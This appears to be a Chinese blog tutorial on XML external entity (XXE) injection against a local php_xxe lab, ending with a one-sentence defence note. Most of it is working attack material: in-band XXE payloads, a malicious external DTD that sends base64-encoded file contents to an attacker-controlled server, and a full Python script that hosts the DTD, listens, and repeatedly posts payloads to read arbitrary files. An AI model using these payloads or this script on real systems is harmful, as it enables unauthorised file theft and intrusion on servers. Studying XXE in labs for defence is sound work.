外部实体注入漏洞

原理

当允许引用外部实体时,会造成外部实体注入(XXE)漏洞。通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。XXE漏洞分为如下两种:有回显的XXE和无回显的XXE。

漏洞展示

有回显的XXE
我们现在d盘上新建了一个hacker.txt文件用于测试,首先我们先使用burpsuite进行抓包,这里的靶场使用的是php_xxe
在这里插入图片描述
这是XML注入的代码,因为在抓包时我们发现数据是以XML的格式进行传送的,初步判断可能存在XML外部实体注入漏洞
在这里插入图片描述

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///d:/hacker.txt">
]>

在这里插入图片描述
注入成功!!!
在这里插入图片描述
无回显的XXE演示
我们先打开php_xxe目录下的doLogin.php文件,注释掉echo $result,增加error_reporting(0)
在这里插入图片描述
可以看到,回显信息消失了
在这里插入图片描述
对于无回显的XXE,我们需要构建一条带外数据(Out-of Band,OOB)通道来读取数据。思路是:

  1. 攻击者先发送payload1给Web服务器
  2. payload1触发Web服务器,Web服务器向VPS获取恶意DTD,并执行payload2
  3. payload2使Web服务器把结果作为参数来访问VPS上的HTTP服务
  4. 攻击者通过VPS的HTTP访问记录得到结果

在这里插入图片描述
VPS(Virtual Private Server 虚拟专用服务器)技术,将一部服务器分割成多个虚拟专享服务器的优质服务。 每个vps都可分配独立公网IP地址、独立操作系统、独立超大空间、独立内存、独立CPU资源、独立执行程序和独立系统配置等。

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。DTD可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

攻击过程
我们先开启kali的apache2的服务,然后在/var/www/html这个目录下创建一个evil.xml文件,文件内容如下

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://192.168.75.159/?content=%file;'>"> %payload;

然后在burpsuite中修改为这些内容

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM
"php://filter/read=convert.base64-encode/resource=d:/hacker.txt">
<!ENTITY % dtd SYSTEM "http://192.168.75.159/evil.xml">
%dtd;
%send;
]>

在这里插入图片描述
kali的日志信息将文件的内容进行了base64编码,将content后的内容放入decoder上解码就是文件的内容了,启动apache2的命令和查看日志信息的命令为

service apache2 start
tail -f /var/log/apache2/access.log

在这里插入图片描述

代码实现自动化

写入脚本相关信息和模块

#!/usr/bin/python3
# -*- coding: utf-8 -*-


from http.server import HTTPServer,SimpleHTTPRequestHandler
import threading
import requests
import sys

编写攻击payload的生成函数,能够根据给定的IP地址和端口生成相应的包含恶意DTD的XML文件

# 创建攻击代码文件
def ExportPayload(lip,lport):
    file = open('evil.xml','w')
    file.write("<!ENTITY % payload \"<!ENTITY &#x25; send SYSTEM 'http://{0}:{1}/?content=%file;'>\"> %payload;".format(lip, lport))
    file.close()
    print("[*] Payload文件创建成功!")

编写HTTP服务函数,通过http.server模块实现HTTP服务,用来监听目标服务器返回的数据

# 开启HTTP服务,接收数据
def StartHTTP(lip,lport):
    # HTTP监听的IP地址和端口
    serverAddr = (lip, lport)
    httpd = HTTPServer(serverAddr, MyHandler)
    print("[*] 正在开启HTTP服务器:\n\n================\nIP地址:{0}\n端口:{1}\n================\n".format(lip, lport))
    httpd.serve_forever()

编写POST发送函数,用来向目标服务器发送攻击数据

#通过POST发送攻击数据
def SendData(lip, lport, url):
    # 需要读取的文件的路径(默认值)
    filePath = "d:\\hacker.txt"
    while True:
        # 对用户的输入的文件路径斜杠的替换
        filePath = filePath.replace('\\', "/")
        data = "<?xml version=\"1.0\"?>\n<!DOCTYPE test[\n<!ENTITY % file SYSTEM \"php://filter/read=convert.base64-encode/resource={0}\">\n<!ENTITY % dtd SYSTEM \"http://{1}:{2}/evil.xml\">\n%dtd;\n%send;\n]>".format(filePath, lip, lport)
        requests.post(url, data=data)
        # 继续接收用户的输入,读取指定文件
        filePath = input("Input filePath:")

定义一个消息处理类,这个类继承SimpleHTTPRequestHandler。同时需要对原生的日志信息函数进行重写,使其在输出访问信息的同时,把访问的信息记录到文件中去

# 对原生的log_message函数进行重写,在输出结果的同时把结果保存到文件
class MyHandler(SimpleHTTPRequestHandler):
        
    def log_message(self, format, *args):
        # 终端输出HTTP访问信息
        sys.stderr.write("%s - - [%s] %s\n" %
                        (self.client_address[0],
                        self.log_date_time_string(),
                        format%args))
        # 保存信息到文件
        textFile = open("result.txt", "a")
        textFile.write("%s - - [%s] %s\n" %
                        (self.client_address[0], 
                        self.log_date_time_string(),
                        format%args))
        textFile.close()

编写主函数,在其中进行相关变量的定义以及函数的调用

if __name__ == '__main__':
    #本机IP,IP为kali虚拟机的IP
    lip = "192.168.75.159"
    #本机HTTP监听端口,可以使用netstat命令查看apache2监听的端口是多少
    lport = 80
    #目标网站提交表单的URL,IP为物理机的IP
    url = "http://192.168.101.3/xxe-lab/php_xxe/doLogin.php"
    # 创建payload文件
    ExportPayload(lip, lport)
    # HTTP服务线程
    threadHTTP = threading.Thread(target=StartHTTP,args=(lip, lport))
    threadHTTP.start()
    # 发送POST数据线程
    threadPOST = threading.Thread(target=SendData,args=(lip, lport, url))
    threadPOST.start()

执行效果如下图所示
在这里插入图片描述
将content后的内容进行base64解码即可看到文件内容
在这里插入图片描述
并且将访问的记录都保存在了result.txt文件中
在这里插入图片描述

防御策略

XXE的危害不仅在于攻击服务器,还能通过XXE进行内网的端口探测以及攻击内网网站等。防御的方式有默认禁止外部实体的解析对用户提交的XML数据进行过滤,如关键词<!DOCTYPE和<!ENTITY 或者 SYSTEM 和 PUBLIC等

猜你喜欢

转载自blog.csdn.net/weixin_45007073/article/details/113834253
今日推荐